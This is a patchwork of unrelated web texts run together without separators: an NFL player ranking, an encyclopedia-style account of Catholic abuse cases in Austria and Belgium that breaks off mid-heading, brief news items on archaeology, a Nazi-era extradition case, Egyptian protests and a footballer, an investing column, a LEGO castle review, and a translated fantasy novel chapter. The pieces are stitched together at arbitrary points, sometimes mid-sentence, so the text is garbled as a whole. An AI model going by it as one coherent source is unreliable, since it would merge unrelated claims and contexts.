While the LT position isn’t flashy and doesn’t iibute to wins like a skill position can, not having a good LT can derail an entire offense. With Joe Thomas, the Browns haven’t had to worry about the most important position on the offensive line since 2007. Thomas has allowed 26 sacks in nine years—that’s fewer than three sacks per season—and considering the massive turnover at the quarterback position, it’s impressive that the number is that low. The No. 1 overall pick in the 2013 draft, Eric Fisher (Chiefs), has allowed 19 sacks in three seasons and could pass Thomas in sacks allowed by the end of 2016. While Thomas gets a lot of praise for his pass-blocking prowess, his run-blocking is very underrated.
The gif doesn’t really do this play justice for Thomas. He assists on the double team on Corey Liuget (No. 94), although “assist” isn’t the right word—he pulverizes Liuget, and Joel Bitonio just happens to be a part of the block. With all his momentum moving down the line of scrimmage, Thomas is able to stop on a dime on his inside foot, pivot, and rotate his hips quickly to stonewall Manti Te’o (No. 50) and create a gap for Isaiah Crowell to run through. Thomas is still playing at a Hall-of-Fame level, and has shown no signs of slowing down.
5. Marshal Yanda, G, Ravens
Marshal Yanda has quietly put together an impressive career. Always a strong blocker, the Raven has improved as a pass-protector the last four years, allowing just five sacks compared to 14 in his first five seasons. In the past two seasons, Yanda has graded negatively in just one game—Week 11 versus Aaron Donald and the Rams. In four of his last five seasons, he has graded as either the first- or second-best guard in football. Needless to say, Yanda has solidified himself as the second-best offensive lineman in the AFC.
6. Tom Brady, QB, Patriots
Rumors of Tom Brady’s demise were completely overblown (my mind is racing to remember who initially said that…), as the Patriots QB has taken his team to a Super Bowl victory and an AFC Championship game in the past two seasons. In fact, Brady looks like he is playing some of the best football of his career, and has been handed another talented TE in Marcellus Bennett this offseason. If the Patriots’ offensive line continues to be a sieve, Brady might not get the time he needs to open up the offense. The Patriots added former second-rounder Jonathan Cooper and third-rounder Joe Thuney in the mix to help the mess. Brady is cool under pressure (16 TDs, four INTs) and can morph into any style of offense that is needed to beat the opposing defense. The past two seasons, he hasn’t had a reliable deep threat, and utilized the talents of Julian Edelman and Danny Amendola underneath to average 8.3 yards per depth of target. In 2012 and 2013, Brady was almost a full yard deeper, at about 9.0 yards. The Patriot’s versatility as a passer and instincts makes him the best QB in the AFC.
7. Ben Roethlisberger, QB, Steelers
Right on Brady’s heels is Ben Roethlisberger. Even without Le’Veon Bell for all but two of the games Big Ben played in 2015, the Steelers’ offense still ran at a highly-efficient level. This was stated in Monson’s 101 article, but it’s absolutely worth mentioning again since the impact an elite quarterback has on his team is perfectly highlighted with this stat: Antonio Brown averaged 9.7 catches per game, 132 yards, and caught 10 TDs when Roethlisberger was playing, compared to just 4.3 catches, 59 yards, and zero TDs per game without him this past season. Perhaps the only thing that continues to hold Roethlisberger back from being higher on this list are his injuries. Despite averaging over 10 yards per target, Roethlisberger still ranked in the top-10 in adjusted completion percentage—the only QB to be in the top 11 in both categories.
8. DeAndre Hopkins, WR, Texans
DeAndre “Nuk” Hopkins was third in receiving yards, third in receptions, and sixth in touchdowns despite having Brian Hoyer, Ryan Mallett, Brandon Weeden, and T.J. Yates throwing him passes last season. 63.1 percent of Nuk’s targets were catchable—a rate that ranked 69th out of 86 eligible WRs. If new QB Brock Osweiler can bring some type of consistency and improvement to the position, Hopkins could challenge Antonio Brown and Julio Jones for the best WR in NFL and receiving yards champion. A knock on Hopkins’ game has been his yards after catch (just 216 yards in 2015, second-lowest of the top 25 receivers in yards), but that could be attributed to Hopkins’ making catches on poorly-placed throws, allowing for minimal room to run after the catch. Regardless of his lack of YAC, Hopkins was a monster in 2015, with the arrow pointing up in 2016.
9. A.J. Green, WR, Bengals
A.J. Green was drafted ahead of Julio Jones in 2011, but it’s been Jones that has had the better career so far. Green took a leap in 2015, which coincided with Andy Dalton’s career-year. While the Bengals lose their offensive coordinator to the Cleveland Browns and their No. 2 and 3 WRs from 2015 in free agency, they still retain their top two HBs and TE Tyler Eifert. If Dalton continues his growth, Green should have another elite season and improve on his 2.41 yards per route run in 2015. When Dalton targeted Green, he had a QB rating of 121.2, the sixth-best rate in the NFL for a WR, and highest among WRs with over 100 targets. If new offensive coordinator Ken Zampese can build upon the success Hue Jackson developed from the Bengals’ offensive attack, Green will battle Hopkins for second-best WR in the AFC.
10. Andrew Whitworth, OT, Bengals
This list is dominated by the AFC North—a division that is regarded for its smash-mouth defensive battles. Seven of the AFC’s 10 best offensive players reside in the AFC North, and finishing off the list is the most underrated and unheralded of them all. Andrew Whitworth saw a streak of 32 straight regular-season games without allowing a sack end in Week 10 of 2015. In fact, over that same span, he allowed just one QB hit. So, over the course of two seasons, Whitworth allowed his QB to be touched just once. I’ll keep going: he also allowed just 17 hurries during those 32 games. Some LTs dream of those numbers for a season, yet he did it for essentially two. There really isn’t much else to say about Whitworth’s consistency and ability after showcasing that 32-game stretch of play, a feat that even Joe Thomas has never reached in terms of allowed pressure. In 2015 (min. 600 snaps), just one OT allowed zero sacks, three allowed one hit, and eleven allowed 17 hurries (surprisingly, you get the same exact numbers in 2014). If Joe Thomas is the gold-standard of pass-blocking LTs, Whitworth isn’t far behind. The Bengal has benefitted from being on a much better team, consistency at the quarterback position, and a system that relies on the quick-passing game, but there is no doubt that Whitworth has been one of the best LTs in the game for the past nine years.
[More: To see the 10 best offensive players in the NFC heading into 2016, click here.]The Catholic sexual abuse scandal in Europe has affected several dioceses in European nations.
Austria [ edit ]
Archdiocese of Vienna [ edit ]
In 1995 Cardinal Hans Hermann Groër stepped down as head of the Roman Catholic Church in Austria following accusations of sexual misconduct. In 1998 he left the country. He remained a cardinal.[1]
Diocese of Sankt Pölten [ edit ]
Bishop Kurt Krenn resigned from his post in 2004 after there was a scandal concerning child pornography allegedly being downloaded by a student at the seminary.[2][3] Up to 40,000 photos and an undisclosed number of films, including child pornography, were found on the computer of one of the seminarians, but Krenn earlier angered many by calling the images a "childish prank."[4]
Belgium [ edit ]
Abuse affairs have affected several Belgian dioceses, which were hurt by allegations of abuse similar to those found in other Western countries. In response to this, an independent commission was established by the Belgian Episcopal Conference in 2000 under the presidency of Godelieve Halsberghe, a retired magistrate. A total of more than 300 complaints were made to the commission. The commission ultimately dealt with 33 formal complaints. 32 complaints were upheld by the commission, 1 was ruled false. Of these, only 1 case came before a court, because the facts of the other 31 cases were concerned with statutes of limitation. In about half of the 32 cases, the alleged abusers, clerics and religious, refused to appear before the commission, due to a lack of cooperation from the Belgian episcopate in forcing hierarchical obeyance to do so. The president and numerous commission members resigned from the commission as a result.
A second Independent Commission was established in 2009 under the presidency of psychiatrist Peter Adriaenssens.[5] He resigned his commission in the aftermath of the large-scale police raid on 24 June 2010. Judicial police searched the archbishopric palace in Mechlin whilst the Belgian episcopal conference was officially meeting. Further searches were conducted at the archbishopric cathedral of Mechlin, the private residence of former archbishop Godfried Danneels in Mechlin and the offices of the independent commission in Leuven. 450 internal dossiers were confiscated.[6]
Archdiocese of Mechlin-Brussels [ edit ]
Former parish priest André Vanderlyn of Saint-Gillis parish in Brussels was arrested 20 June 1997 on charges of rape of a minor. He later confessed to seven rape cases between 1968 and 1997. [7]
On 18 December 2008, former parish priest Robert Borremans was sentenced to five years in prison for sexual abuse of a 6-year-old boy from 1994 until 2001. His sentence was uphold in the Brussels court of appeal in April 2010. As a consequence, he will be laicised. He had previously been convicted for indecent exposure. He presided over the marriage mass of Crown Prince Philippe of Belgium and his wife Mathilde d'Udekem d'Acoz.[8][9][10][11]
Diocese of Ant |
.
“In the coming week, the National Museum’s environmental archaeologists will take samples of wet depositions in the valley with the aim of uncovering how the layers have evolved from the earliest strata we have dated to the Bronze Age and over time,” said excavation leader Nanna Holm. The team hope that this will reveal exactly where the nearby river was when the fortress was built in the Viking Age.
Funded by a grant from the A.P. Møller Foundation, the team included researchers from the Museum of South East Denmark and Aarhus University, as well as leading experts from the Environmental Archeology and Materials Research department at the Danish National Museum and the National Police Department’s Section for arson investigation.
Poland seeks extradition of man accused of heading an SS unit
Prosecutors in Poland are seeking the extradition of a 98-year-old man accused of being the former commander of an SS led unit that slaughtered civilians and burnt Polish villages to the ground during World War Two.
Michael Karkoc has repeatedly denied the charges leveled against him, according to the Independent. Officials from the National Remembrance Institute in Warsaw accuse Karkoc of commanding a unit of Ukrainian nationalists responsible for mass killings in villages along Poland’s eastern border during World War II. The extradition request has been handed to the Polish embassy in Washington.
According to the Independent, an inquiry by the Associated Press (AP) into Karkoc triggered the IPN investigation. The AP piece pointed out that Krakoc did not have a direct role in the atrocities, but was present and witness to them as a company leader.
Whether Krakoc will be extradited will be governed by the EU – US extradition treaty. Krakoc is said to be suffering from Alzheimer’s disease, the Independent article states, raising questions over whether he’d be fit to stand trial. Earlier this year, his son Andriy Karkoc, fervently denied the charges leveled against his father.
Image is from a scanning electron microscope, shows formations of aluminum tobermite crystals in a volcanic ash sample from the Campi Flegrei Volcano in Italy. X-ray experiments at Berkeley Lab’s Advanced Light Source have helped researchers to understand how these crystals develop over time to strengthen ancient Roman concrete structures. The scale bar at lower right represents 20 microns, or 20 millionths of a meter. Courtesy of University of UtahRecently, most markets and investments have seemed extremely correlated with each other.
During the financial crisis, many investors who thought they were diversified or'market neutral' watched as all of their assets fell in unison.
The folly of using historical correlations between assets to forecast their future correlation was laid bare and many in the risk management community ate their share of humble pie.
Yet during the recovery and rally since the financial crisis, it's also felt as if most asset classes simply rise or fall as a group when either the global economic picture brightens or darkens.
As a result, macro strategy is back in vogue, and specific investment selection seems dead. You listen to Nouriel Roubini for direction, and forget about the guy telling you about some amazing company in the middle of Idaho, because if Roubini is right then whatever stock the other guy is talking about will fall regardless of how good the company is. So goes the thinking, and media commentators' use of the nebulous term 'risk-on' or 'risk-off' to describe market action epitomizes the current market psychology. Nothing matters except the macro.
Indeed, the prominence of macro strategy has made sense thus far given that the world just experienced a major inflection point for the global economy. When most assets were simply going up pre-financial crisis, the macro guys seemed useless and it was all about picking the winners. Now macro is in high demand because so much hinges on whether or not the world slips into a new crisis, and people like Mr. Roubini are an attention magnet. In turn, professional investment research has also experienced a renewed interest in the macro and a diminished interest in analysts who focus on niches, such as equity analysts.
But what if our major economic inflection point has already passed, and we've already settled into a new long-term trend? While we're all still looking for the next crisis to erupt or the next V-shaped recovery to prove bears foolish, it could be that we'll get neither.
In fact, the world economy increasingly appears to be settling into a growth trend whereby emerging markets keep moving forward at a decent clip while developed markets manage weak growth with protracted high unemployment. The world doesn't end, but nor are we on the cusp of a 1990's America. If such a steady scenario is hard to believe, then it's probably a sign of how shell-shocked we've all become since the crisis.
Yet should this trend prove itself, then prepare to see the macro strategists loose their relevance. Investment selection will make its return and macro guys will take a backseat... which means it's probably time to take another look at that amazing company in Idaho.Harry Redknapp says he wants to sign former Tottenham Hotspur defender Benoit Assou-Ekotto for Birmingham City – but that the player has told him he is more interested in a career in pornography.
The Cameroon full-back signed a one-year contract with Metz at the start of the 2016/17 season, and previously played under Redknapp at both Spurs and Queens Park Rangers.
The 33-year-old is renowned for being something of a maverick and has previously spoken openly about how he doesn’t consider football to be a passion and how he instead treats his career as a professional player as “just a job”.
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And now Redknapp has revealed that the defender, who represented Cameroon 24 times, has set his sights on an altogether different career.
When asked if there was a chance of Birmingham signing the veteran full-back, Redknapp told the Spurs Show podcast: “The only trouble is that he’s admitted he wants to be a pornstar.
“Maybe I can get another year out of him before he decides to do that.
“What a good player. He could well end up in the Birmingham colours next year, Benoit.”
Assou-Ekotto wouldn’t be the first footballer to express an interest in adult entertainment.
Last season, the Brazilian centre-back Anderson Conceicao made headlines when he revealed that former Real Mallorca manager Joaquin Caparros used pornography to try and motivate his players before a La Liga game against Athletic Bilbao.
“In the team talk ahead of the game Caparros showed us a video with images from a porn film. We were shocked, we didn't understand anything of what we were watching.
“He told us: ‘On the pitch, you need to play as hard as this guy’, and he pointed at the screen.”
Keep up to date with all the latest news with expert comment and analysis from our award-winning writersPart one: The Opening and Building Experience
Part two: The Review
Part three: The Tour
The Disney Castle is probably one of the most anticipated LEGO sets to come out this year. With 4,080 individual pieces, it rivals the largest LEGO sets ever produced, such as the Taj Mahal, Tower Bridge, and the entire Star Wars UCS line.Being primarily castle builders, we were (freaking-out) excited to review the biggest and most detailed LEGO Castle to date!After opening up the huge box, we found ourselves with a large pile of bags filled with some fantastic pieces and yet another box with even more bags of even more amazing pieces. This is the first time we've ever seen a double-box situation in a LEGO set, and I think it's kind of neat. I imagine it's added to keep the bags from squashing down to the bottom, preventing structural and stacking issues later.Like most manly men, we went straight to the instructions booklet. Or should I say instruction novel? This 491-page beast is as heavy as some of Marks college textbooks!The first page shows some nice comparison shots of the actual Cinderella Castle next to the LEGO counterpart. We find it interesting that the set is called the "Disney Castle" and not the "Cinderella Castle" The second page seemed to offer a satisfactory answer.It looks like this castle was meant to celebrate a selection of classic Disney movies instead of just Cinderella, which for us put to rest some of the initial confusion we had about the name choice. But no Frozen reference? Seriously? I suppose well have to let it go. Ok, moving on...The instructions then proceed as normal LEGO instructions usually do. But unlike the average LEGO set this one starts out with a massive and complex technic brick base covered with plates for extra stability.If your LEGO construction experience is limited to building sets, this could easily seem like a bullet-proof base, overqualified even for a model this size. As a custom creation builder, the base seemed just adequate, plus the technic bricks gave the base a flexibility that was unnerving for the height placed on top. Still it's an efficient and strong base, to ask for yet more pieces to strengthen it further would be a bit over the top, with a part count above 4K. Another unique aspect is the use of different colors in the insides of the structural areas, it made it faster and easier to build when each type of brick on the inside has a distinct color.One of our favorite parts of the build was the angled floor section. The use of the new Nexo Knight shield pieces is inspired. This would be impressive even by MOC standards. And this is just the first example of the intricacy and exquisite design elements present in the model.But then there were a few areas that left us scratching our heads in confusion. In the real castle, this entryway is a sleek set of stone stairs. The set, however, features an eroded gravel path. For a castlefancy? Yeah, we still don't get it.The castle advanced rapidly. To be honest, we were trying to set a good build time, which is revealed below. More nifty design elements worth mentioning are the cool SNOT (Studs not on top) arch over the door and the angled offset pillars. It's creative and fits together like a glove. We are literally taking notes on the techniques employed here. Bravo LEGO!As said before, we are primarily LEGO castle builders, so while everyone else was admiring the splendor of this set, we castle nerds were zooming in to get a better look at the most exciting and realistic shield designs to come out since the Harry Potter sets were still a thing! Unfortunately for us, the gorgeous shields ended up being... Stickers. This makes them far less valuable and easy to damage if you actually use them. We were quite disappointed, but they still look fantastic and we hope to use them in creations soon! There are many other stickers for some of the other pieces but thankfully the bigger and more important pieces are printed.Part of the castle that we initially thought was going to be kind of "meh" were the big gray walls and lower towers, but it turns out they are packed with detail and even more brilliant building techniques and clever parts usage.The front gate features a nifty printed panel which we only wish we had a dozen of for future cathedrals.The area around the clock was just ingenious. I mean look at that! How do you even start coming up with that? Kudos to the designers, we have been humbled.Yup, even more clever LEGO techniques. This is really an enthralling building experience, even with instructions it pushes you to think hard. It's a fun puzzle, even for individuals who have been doing this since they were 6 years old.Tan and white look really good together, this explains why they chose it over all white like the Cinderella Castle. And while the side turrets are too small to hold a minifig, they look fabulous.The castle is stacked in several layers each connecting to a smooth area with minimal studs. This makes it easy to take apart but it also means you had better take it apart before you try to move it.Though it does have some flaws, this is overall an immensely impressive LEGO set. It's gorgeous, flamboyant, and even awe-inspiring.Stevens favorite aspects are the height and detail of the spire as well as the intricate layout of the ground floor. Marks favorite aspects are the side turrets, the elaborate gatehouse, and of course the tan profile bricks!The price is a large one, but so is the part count, and most of these are rare colors and types. The figs are exclusive, if you're a fan of the Disney movie machine this is a must have, if you're a fan of LEGO bricks it's a must have, if you're a fan of LEGO Castle it's a must have. If you have $350 USD you can spare, and if you can find one, we would definitely recommend you buy The Disney Castle. Plus, you could probably make like 300% profit if you sell it ten years from now.If you do spring for this set, you may want to wait to build it until you have a whole day (Or two, or three) so that you can make a dent in it. This is an intensely detailed project. We are two adult LEGO building professionals being intentionally brisk, and it still took us 6 hours and 32 minutes over two days. This model is rightfully designated for 16 and up, which is very surprising considering The LEGO group's target demographic is many years younger than that. It is so exciting to see LEGO release sets aimed to please the older TFOL and AFOL!We haven't talked much about the figs yet because that's not the reason we're interested in the set. Sure, we like Disney stuff as much as the next 20 something year olds but we're not exactly die-hards. That being said, if you are a Disney die-hard these will be some minifigs you will need with a passion. Daisy, Donald and Minnie are given different colored outfits than in the collectable minifig line, Mickey is given a considerably nicer, more detailed body. Finally some torso printing! Tinkerbell is a completely unique figure with lovely printing and a new skirt piece.In the beginning of the instructions it said "Create your own Disney magic with the five included minifigures......or add characters from your own collection for happily ever after adventures." and since we always follow the instructions, we had our personal signature minifigs "Mark of Falworth" and "Brother Steven" visit the Disney Castle.Having received a gilded invitation from one Mickey Mouse, Mark and Steven arrived at the castle and began the tour with excitement and high hopes.The great hall was very elegant, but somewhat dark, due to the unlit chandelier. The Disney characters were very welcoming and offered to show Mark and Steven every corner of the castle.Mark was immediately drawn to the wondrous shields on the wall. But he quickly realized they were just stickered.Beginning to wonder if the rest of the castle was this ill-prepared for battle, Mark asked Donald if he could inspect the walls.Donald tried to clarify the situation.Mark found out it was a bad idea to ask questions when you can't understand what the other person is saying. Donald's quacking was near unintelligible to his human ear.Meanwhile, Brother Steven explored the kitchen with Minnie.Mark was very intrigued by the fantastic flying carpet.Daisy was about to say something, but Mark already had issues with talking ducks.Mark found Mickey again in the Beauty and the Beast room.As they left, Mickey muttered to himself,Steven was having his own issues too, as Minnie was busy describing the spinning wheel.Brother Steven wasn't paying that much attention, his focus being directed to a chest of items.He was aghast at finding the castle a den of heretics.Mark and Donald moved on to the higher rooms of the castle.Donald nodded his head. Yesh. He quacked.Mark raised an eyebrow.Donald shook his head.Mark noticed a room that featured a large wooden chest and casually lifted the lid to peek inside.Mark wrinkled his nose and backed away.Brother Steven and Mark of Falworth met again near the very top of the tower.Mark shook his head, sending his blond tresses flying and attracting the notice of a mirror hanging on the wall.Mark jumped and stared at the mirror.Mark grinned.Brother Steven crossed himself and muttered something about vanity as they exited the room.Up on the topmost tower, Brother Steven admired the majestic view. He could see all across the glittering kingdom.Later, behind the battlements, Mark was testing out his archery skills. He turned to Mickey and said,Mickey squeaked and exclaimed,Mark said.Mickey shrugged.Marks mouth hung slack for a moment.Just then, Tinkerbell flew in on a sparkling trail of golden pixie dust.Both Mark of Falworth and Brother Steven were surprised, having never met a fairy in person. Brother Steven crossed himself, wide-eyed, and began to pray.Mark smiled, undaunted.Tinkerbell nodded at the last one and smiled.Mark glanced sideways at Mickey.Mickey laughed as Tinkerbell gritted her teeth.Despite the oddities, Mark and Steven thoroughly enjoyed their tour of the unique and amazing Disney Castle and they promised they would visit again soon.Huge thanks to the LCE Team for sending us this set to review. The opinions expressed in this review are completely our own. Also, thanks for reading this review and visiting the site! We would love to hear your comments about what you thought of this set as well.Egypt's interim cabinet has offered its resignation to the country's ruling military council as clashes raged for a third day in Cairo's Tahrir Square, pitting police and soldiers against protesters demanding democratic change.
"The government of Prime Minister Essam Sharaf has handed its resignation to the [ruling] Supreme Council of the Armed Forces," Mohammed Hegazy, cabinet spokesperson, said in a statement aired on Monday night by the official MENA news agency.
"Owing to the difficult circumstances the country is going through, the government will continue working" until the resignation is accepted, Hegazy added.
The military council on Monday appealed for calm and asked the country's justice ministry to investigate the violence, the worst since Hosni Mubarak, Egypt's former president, was toppled in February.
In a statement, it invited "all the political and national forces for an emergency dialogue to look into the reasons behind the aggravation of the current crisis and ways to resolve it as quickly as possible".
Egypt's health ministry said at least 33 people had been killed and 1,500 wounded in clashes between government forces and protesters since Saturday, raising concerns over parliamentary elections due to begin later this month.
'Organised protests'
"Thousands of people in unison are chanting 'The people want the end of the field marshal’,” Al Jazeera’s Sherine Tadros reported on Monday night from Tahrir Square, referring to Field Marshal Mohamed Hussein Tantawi, the leader of the military council.
Locations where Egyptians were protesting on Monday
Tahrir Square has remained the major rallying point for protesters, recalling the 18-day uprising that ended Mubarak's three decades of power.
Tadros reported that thousands of people returned to Tahrir Square on Monday evening, with ambulances coming in to take away the injured.
"The resolve of people is pretty amazing, they keep showing up … everyone seems to feel this is very much a battle between them and the police,” she said.
Egyptian political forces behind the uprising that toppled Mubarak called for a mass rally on Tuesday to demand the army cede power to a civilian government.
Tahrir Square and surrounding area in central Cairo
The Coalition of Revolution Youth and the April 6 movement, among others, called for the protest at 4:00pm local time (14:00 GMT) on Tuesday in Tahrir Square.
Reporting from the seaside town of Alexandria, Al Jazeera's Rawya Rageh said a "million man march" was also being planned there for Tuesday, the day after sporadic clashes between protesters and security forces erupted in Cairo and other parts of the country, notably Alexandria and Suez in the north.
During the clashes in Cairo, police fired tear gas and rubber bullets while protesters broke up pavement to hurl chunks of concrete at police.
General Saeed Abbas, deputy head of the central military region, said that the military was protecting government buildings and not targeting protesters.
"The armed forces were dispatched following a request from the interior minister. It was approved by the head of the military supreme council to assist the security forces in protecting the ministry of interior, nothing else," Abbas said.
"They did not come to disperse protesters, or to remove them from Tahrir Square. They didn't leave the vicinity of the interior ministry."
Few of the protesters believed this message, however, as footage showing apparent police brutality continued to emerge.
Military seeking distance
As the death toll rose on Monday, the military council tried to distance itself from the violence, reiterating commitment to its "road map" for transition and expressing "sorrow" over the situation.
Egyptians are scheduled to elect a new parliament in a staggered vote starting on November 28. Yet, even when the assembly is picked, executive powers would remain with the army until a presidential election, which may not happen until late 2012 or early 2013.
Protesters want a much swifter transition with presidential elections by April 2012.
"We are all insisting on having the election on time; the government, parties and the Supreme Council of the Armed Forces," Hegazy, the cabinet spokesperson, said.
The security crackdown on protesters elicited condemnation from parties across the political spectrum; from Mohamed ElBaradei, a presidential hopeful and head of the National Association for Change, to the Muslim Brotherhood's Freedom and Justice Party.
Anti-graft law
In what appeared to be a concession to the protesters, Egypt's ruling generals issued a law on Monday barring anyone found guilty of corruption from politics, but protesters said it would not allay their concerns that former supporters of Mubarak may regain influence.
"The council is out of step with the people," Mohamed Fahmy, an activist, said.
A press conference planned for Monday to detail how the election process would proceed was postponed with no new date set.
Meanwhile, several political parties and individual candidates said they were suspending their electoral campaigns, raising concerns over whether the vote would go ahead at all.“What do you do when there is an evil you cannot defeat by just means? Do you stain your hands with evil to destroy evil? Or do you remain steadfastly just and righteous even if it means surrendering to evil?”
-Yoraikun Vi Britannia
TL: Rule of the Internet, Just because there’s a quote with a name under it, that doesn’t mean the person actually said it.
Is there a German speaker in the house? Thanks for the help everyone.
Chapter 244: Justice vs. Justice
“Naofumi-san, thank you. Please leave the rest to me. I’ll definitely persuade Itsuki-sama.” (Rishia)
“Yeah, I’ll wait expectantly. Just like Female Knight, the current you should be able to do it.” (Naofumi)
Understanding the situation, Ren backs off.
Perhaps he believed that two on one was unfair for a duel, or perhaps he was moved by Rishia’s resolve.
I don’t know the reason. Whatever the case, he understands that he shouldn’t get involved in this case.
It seems that Itsuki has finally recognized Rishia as an enemy.
The problem would be if Rishia lost, but we’d be able to kill him with my Wrath Shield combined with Gaelion’s flames.
Luckily, Firo’s also here. We can definitely win.
Anyways, it’s quite a development for Rishia to be fighting Itsuki.
She was always talking about her devotion to him.
It must be hard on her to fight to the death with her beloved.
“I’m coming! Haaaaaaaaaah!” (Rishia)
Rishia closes in on Itsuki at quite a high speed.
“Damn! 「Saint Arrow Rain」! 「Spread Strafing」!” (Itsuki)
Itsuki steps back as he continuously fires off arrows at Rishia.
The arrows he fires straight and the ones he curves are timed perfectly to strike multiple locations simultaneously.
Evading seems to be difficult.
“Hengen Musou Rapier Skill,「Circle」!” (Rishia)
But Rishia twirls her rapier in a full circle, and her blade makes a high shriek as it passes through the air. All of the arrows fired at her are mowed down.
I thought Rishia wouldn’t go all out, but it seems she fighting toe to toe with this Hero.
Could I be witnessing the true Hengen Musou style?
Female Knight said that Rishia was able to master the difficult skills.
It may be due to the influence of her natural talent, but Rishia has gotten strong.
Having all his arrows knocked down, Itsuki glares at her with an irritated expression.
“Itsuki-sama? I’m your opponent right now. Please pay more attention.” (Rishia)
Even now, Itsuki occasionally glances over at me.
He must be seeing the person in front of him as merely an obstacle to reach me.
There’s no way he can beat Rishia like that.
The current Rishia’s stats, techniques, and determination are among the highest of all of my subordinates.
“Fu… It seems that you’ve learned how to talk, Rishia-san. But my true power is higher than this!” (Itsuki)
The dark aura envelops him, and Itsuki readies his bow.
「Rechtsfanatiker!」
(TL: レヒトファナティッカー )
I feel a barrier-like thing being erected.
It feels similar to Firo’s and Gaelion’s sanctuaries.
“UOOOOOOOOOOOOO!” (Itsuki)
Itsuki’s eyes turn red and begin to give off a suspicious light.
Then the miasma envelops his body, forming a sort of armor.
It’s a winged, full-body armor, reminiscent of an angel… but some parts here and there seem demonic in design.
It’s definitely a status buffing skill.
What’s more, it even created a set of armor.
The armor reminds me of the combat suits for those Rider and Ranger people.
Rishia is silently waiting for Itsuki to initiate an attack.
Her expression is exceedingly serious.
If we step in here, I don’t think she’ll forgive us.
Ren tries to step forwards, but I hold my arm out to stop him.
I won’t let anything happen like that time with Ren.
I’m a man who keeps my promises. Be it for better or for worse.
“I’m coming, Rishia-san. With this, I’ll make you understand me and assist in defeating Naofumi!” (Itsuki)
“No, I definitely won’t approve of the current Itsuki-sama. Even if it costs me my life!” (Rishia)
Rishia sticks her sword into the ground and bends down.
She extracts Chi out of the ground and coats the entire body of her weapon with it.
It’s like what Female Knight does the moment she hits a target, but the amount is clearly different.
“Hengen Musou Style… Special attack. First Stance…”
『Let this foolish sinner experience the retribution of God’s justice! With my belief as compensation, carve this punishment upon your body!』
「Gerechtigkeit-」
Before Itsuki can finish chanting his skill, Rishia pulls the blade out and begins running.
「Alleinherrschaft!」(TL: ゲレティヒカイトアラインヘルシャフト)
「Sun!」 (Rishia)
Rishia begins emitting light as she thrusts her rapier at Itsuki.
I wonder why. I get the feeling she just got some Super-Divine power up.
And what’s Itsuki’s skill doing!?
Countless orbs of light are scattering from his body. They destroy the ceiling and take on lion-like shapes in the sky. They then begin raining down endlessly upon Rishia.
… This is bad.
No matter how I look at it, that’s a Curse Skill rivalling Blutopfer.
Even a Super-enhanced Rishia will have trouble dealing with it.
“Second Stance, 「Moon」!” (Rishia)
The light emitting from Rishia grows brighter, and the lions shatter into crescent shaped fragments.
Amazing… This is the first time I’ve seen someone take a Curse Skill head on.
I don’t know what its effect is supposed to be, but Itsuki seems to have a shocked expression at finding his skill nullified.
“There’s still more! I haven’t used my trump cards yet!” (Itsuki)
“Third Stance, 「Star」!” (Rishia)
Without any hesitation, Rishia appears in front of Itsuki and begins thrusting at him.
It’s a consecutive stream of attacks rivalling Female Knight’s multilayered attacks.
Each successful hit destroys part of Itsuki’s armor and causes it to disperse into nothingness.
“Gu…” (Itsuki)
The rain of blows continues to pour down on Itsuki, and I can feel that each and every one has Chi imbued in it.
That’s no joke.
Since I’ve trained, I may be able to withstand it, but it would probably breach the defenses of a Cursed Ren or Motoyasu.
It’s an attack with that much power.
“Quit messing with me!” (Itsuki)
Itsuki’s aura explodes again, sending Rishia flying backwards.
“Fuee… There’s still more!” (Rishia)
Rishia rolls as she hits the ground and gets up. She takes a deep breath and prepares for battle.
“Justice is not something that can be stopped by the likes of Rishia-san! Don’t go around destroying my special attacks!” (Itsuki)
And why should we listen to you?
This isn’t a turn-based RPG.
If this were a real-time action game, you would try to destroy special attacks when you saw them.
… Ah, in Hero Media, the opponent waits for the Hero to finish his attack.
Those high powered beams and kicks and those things where five weapons unite into one.
“Itsuki-sama, please stop it already. For the current you, it is impossible to stop me.” (Rishia)
Rishia shouts with a voice filled with emotion.
It does look like she’s the one with an overwhelming advantage here.
“Itsuki-sama, your justice is misled! Please release that dark power at once.” (Rishia)
“Wrong! With this power that I’ve gotten my hands on, I will save the world! I will save the people!” (Itsuki)
The shape of the bow distorts…
And in response to that, his aura changes in color as well.
… Most likely, he’s awakened to another curse series as well.
If he strengthens himself with the effects of multiple curses, will Rishia be at a disadvantage?
Besides Motoyasu, the other Heroes haven’t used strengthening methods, I think…
“Are you alright, Rishia?” (Naofumi)
“Yes. I don’t need any help.” (Rishia)
“… I see. Then do what you will.” (Naofumi)
The situation seems to be taking a bad turn, but if Rishia says that, then I guess I’ll continue observing.
I won’t help until she asks for it.
Whether she wins or not is a separate matter.
If persuading him proves impossible, we’ll have to knock him out.
But even if he’s rotten, he’s still a Hero.
We’ll need a decisive blow.
“Take this! 「Shadow Bind」!” (Itsuki)
Itsuki begins moving. He shoots an arrow at Rishia’s feet.
I get an ominous feeling from the ground.
“Rishia-” (Naofumi)
But it didn’t hit.
The arrow lands in the ground behind her.
“M-my body is…! (Rishia)
Before I could warn her, Rishia’s movement was sealed.
It’s as I thought.
It’s a skill that can block enemy movement by hitting their shadow.
「Bind Arrow」!
Itsuki fires off another restraint skill at the immobile Rishia.
The Arrow pins her to the wall behind her.
“I-I can still fight!” (Rishia)
“No! This is the end!” (Itsuki)
『Let this foolish sinner be burned to death by the Brass Bull. Writhe and scream in anguish under the wrath of the raging bull!』
「Phalaris Bull」 (TL: The Brazen Bull Torture method was created for Phalaris, the Tyrant of Acragas in the 5th century BC)
Like my Iron Maiden… A statue of a giant Bull opens up and locks Rishia within.
Then the statue glows as it fills with fire.
“Rishia!” (Naofumi)
Itsuki smiles as he confirms his victory.
It’s a skill that rivals my Iron Maiden.
“With this, it is my victory. Naofumi, prepare yourself.” (Itsuki)
Ku… I thought victory was assured. Was I too naive?
But first, I have to save Rishia.
Ren’s already running towards her.
But just when I was contemplating this…
Cracks begin to surface on the bull Itsuki summoned.
“What?” (Itsuki)
Itsuki’s face is once again colored by surprise.
And with a loud sound, the Bull crumbles to pieces, and Rishia jumps out.
“Fourth Stance! 「Devil」!” (Rishia)
Rishia walks towards Itsuki, swinging her rapier in wide arcs.
What is this? The tip of Rishia’s sword is glowing, leaving black tracks in the air.
“Gu… M-my eyes!?” (Itsuki)
Itsuki covers his face with both hands and cries out.
Is it an attack that inflicts Blind?
That’s quite an efficient attack.
“Don’t just go about claiming victory on your own.” (Rishia)
Rishia says as she holds her shoulder and breathes deeply.
She even managed to thwart an execution device… Rishia’s growth is beginning to surprise even me.
